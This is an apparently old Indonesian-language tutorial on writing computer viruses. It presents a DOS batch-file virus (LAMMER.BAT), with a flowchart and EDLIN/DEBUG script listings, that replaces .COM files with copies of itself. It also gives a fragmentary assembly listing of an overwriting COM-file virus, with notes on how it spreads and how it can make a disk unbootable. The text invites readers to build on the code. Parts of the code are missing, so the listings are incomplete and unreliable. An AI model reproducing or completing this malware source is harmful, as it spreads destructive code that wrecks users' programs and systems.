Pemograman Virus
Pemograman Virus
Program dibawah ini dapat menulari sistem, tetapi dengan cara yang cepat dapat
diketahui.
Berikut ini adalah saran-saran yang harus selalu di perhatikan pada waktu
bereksperimen
dengan virus:
Dengan jalan ini maka semua tindakan yang ditujukan kepada hard disk, diarahkan ke
drive
A. Perlindungan ini tidak benar - benar rapat, tetapi dapat mencegah sebagian besar
virus
- virus yang menyerang hard disk .Untuk mendapatkan kembali keadaan normal,
tuliskan :
"assign c=c" sementaradisket master DOS berada di drive A. Kalau syarat diatas
dipatuhi
pada waktu anda bekerja dengan program virus, maka tak akan ada bahaya karena
penularan
-penularan yang tidak disengaja.
------------------------------------
1. VIRUS KOMPUTER DALAM BATCHFILE
------------------------------------
Sebagai awal dalam mempelajari pemrograman virus komputer , berikut ini akan
ditampilkan
virus komputer dalam bentuk batchfile.Virus ini memanfaatkan fasilitas dari DOS,
dengan
memanggil instruksi - instruksi file internal dan eksternal. Instruksi - instruksi file
internal (instruksi yang merupakan "bagian dalam" dari modul sistem operasi tempat
modul
tersebut dipindahkan ke memori-internal/RAM pada saat boot) digunakan sesuai
dengan
hukum-instruksi dalam batchfile.Untuk instruksi - instruksi file eksternal seperti
DEBUG
dan EDLIN, harus disediakan file-file yang diperlukan.Disamping itu virus ini juga
memanfaatkan pemilihan arah bagi operasi masukan dan keluaran dalam PC-DOS(I/O
redirection).Virus in hanya menyerang file - file yang berekstensi COM.
Seperti yang telah kita ketahui bersama bahwa sebuah virus mempunyai 5 buah
kemampuan,
yaitu :
------------------------------------
2. ALGORITMA
------------------------------------
Dengan demikian sesudah penularan, isi dari file yang ditulari adalah persis sama
dengan
file LAMMER.BAT.Sehingga pemanggilan terhadap file yang tertular mempunyai
akibat sama
dengan memanggil file LAMMER.BAT.
------------------------------------
3. BAGAN ALIR
------------------------------------
MULAI
|
|
Buat file yang berisi nama - nama
File yang berekstensi COM.
|
|
Pilih nama file yang pertama
(misalnya bernama KORBAN.COM)
|
|
Buat Batchfile baru yang berisi instruksi:
DEL KORBAN.COM
COPY \LAMMER.BAT KORBAN.BAT
|
|
Panggil / jalankan bacthfile baru tersebut
|
|
AKHIR
------------------------------------
4. Listing Program
------------------------------------
Echo off -- Keluaran ke layar dihadang, sehingga pekerjaan yang dilakukan oleh
batchfile
tidak tampak oleh pemakai
Dir *.com/w.daftar -- Nama dari semua file dengan ekstensi .Com dalam directory
yang aktif
ditulis dalam file DAFTAR.pilihan "/w" akan membuat tanggal dan panjangn
file tidak ditampilkan
Edlin perintah.bat<\3 -- Text editor EDLIN memanggil file PERINTAH.BAT dan file
instruksi
ketiga
Del daftar.* -- File DAFTAR DAN DAFTAR.BAK dihapus
Ctty con -- Masukan dan Keluaran kembali ke keyboard dan layar, tetapi layar
tetap kosong (echo off)
3 buah file instruksi dengan nama "1", "2" dan "3" (tanpa ekstensi) berhubungan
dengan
file batchfile :LAMMER.BAT diatas,sbb:
NAMA FILE : 1
1,4d
e
NAMA FILE : 2
M100,10b,f000
E108 ".bat"
M100,10b,f010
E100"DEL"
Mf000,f00b,104
E10c 2e
E110 0d,0a
Mf010,f020,11f
E112 "COPY \LAMMER.BAT"
E12b 0d,0a
Rcx
2c
nperintah.bat
w
q
NAMA FILE 3:
Maaf file instruksi ketiga tidak dapat ditulis di bagian ini karena mengandung dua kali
Ctrl-Z (hex 1Ah) dan Saya sendiri udah capek nulisnya hehehehe maklum blom
minum jamu
kuatJ
Gunakan kreatifitas anda sebagai programmer
1. Pendahuluan
Virus komputer yang akan dibicarakan dibawah ini ditulis dalam bahasa
assembley.Bila
dibandingkan dengan virus bacthfile, yang pernah kita bicarakan maka virus yang kita
bahas
sekarang ini telah memiliki kelima kemampuan seperti apa yang telah saya sampaikan
terdahulu.
Virus ini mampu mencari semua file COM yang ada pada disket, serta memeriksanya
apakah
telah tertular atau belum.Bila belum, maka virus akan menularinya.Routine
manipulasi yang
dimiliki virus ini hanyalah berupa tampilan pesan :
"File ini telah tertular Virus komputer!" atau "Semua file COM pada disket ini telah
tertular virus komputer!!!".
Berbeda dengan virus batchfile yang menghasilkan file baru dan membutuhkan
beberapa file
untuk menjalankannya, maka virus yang akan kita bahas ini nantinya dapat bekerja
sendiri
dan tidak menghasilkan file baru, sehingga kemampuan menyembunyikan diri dari
virus ini
lebih baik.
Seperti halnya virus batchfile, virus dibawah ini adalah termasuk jenis virus yang
menumpangi program yang ditularinya.Dengan demikian virus ini bersifat merusak.
2. Algoritma
;------------------------------------------------------------------------------------
; LAMMER.ASM
;
;CODE BY : #DEFACE-TEAM@IRC.DAL.NET
; #DHEGLENG@IRC.DAL.NET
;
;RETRIEVAL SYSTEM BY: DR`PONIDI@CRACKDEALER.COM
;
;VIRUS INI MENYERANG DAN MERUSAK SEMUA FILE COM.
;BERHATI-HATILAH!
;------------------------------------------------------------------------------------
IF1
INCLUDE LAMMER.MAC
ENDIF
Code_seg SEGMENT
ASSUME CS:Code_seg
ORG 100h
Mulai : jmp kerjakan
Identitas DB `File ini telah tertular virus komputer !$`
Peringatan DB `semua file COM dalam disket ini telah tertular virus`
DB `Komputer !!!$`
File_COM DB`*.com`,0h
Nama_file DB 13 DUP(?)
Panjang_id equ 45
Panjang_vir equ 445
Atribut equ 20h
Open_code equ 2
Jumlah equ 0ffffh
DTA DB43 DUP(20h)
Cari_lainnya : pop ax
pop bx
Tutup_file bx
Find_next
Jmp masih_adakah
Buffer Label byte
Code_seg ENDS
END mulai
4. Penjelasan
Awal dari penularan dimulai ketika program virus ini dijalankan pada disket yang
berisi
file-file COM.Virus mula-mula akan menulari file COM yang pertama (berdasarkan
urutan
file-file pada disket).Dengan penularan ini, maka file tersebut menjadi sumber
penularan
baru, dan virus yang asli dapat dihapus.File-file yang telah tertular ukurannya tidak
berubah.
Bila file yang telah tertular itu dijalankan, maka file itu tidak dapat menjalankan
fungsinya dan hanya akan menampilkan pesan :"File ini telah tertular Virus
komputer!".Sebelumnya, file tersebut akan menulari file COM lainnya.
Bila kebetulan file .COM pertama yang diserang didalam directory utama adalah
COMMAND.COM,
maka setiap kali melakukan boot dengan disket itu, tak akan pernah berhasil dan
sebelumnya
virus akan menulari sebuah program COM lain yang belum tertular.
Harapa diperhatikan bahwa virus ini tidak dapat bekerja dengan baik bila berada pada
file
COM yang ukurannya lebih kecil daripada ukuran program virus yang asli, atau
terlalu besar
(mendekati atau lebih dari FFFF heksadesimal = 64KB)
Ini disebabkan karena program virus tidak dapat disalin secara lengkap atau buffer
telah
melampaui batas daerah CS (Code Segment)
Demikianlah Artikel yang dapat saya sampaikan pada kesempatan ini, Semoga
informasi yang
saya sampaikan dapat bermanfaat bagi pengetahuan bagi kita semua ,khususnya bagi
yang
concern terhadap virus.Sekian terima kasih cao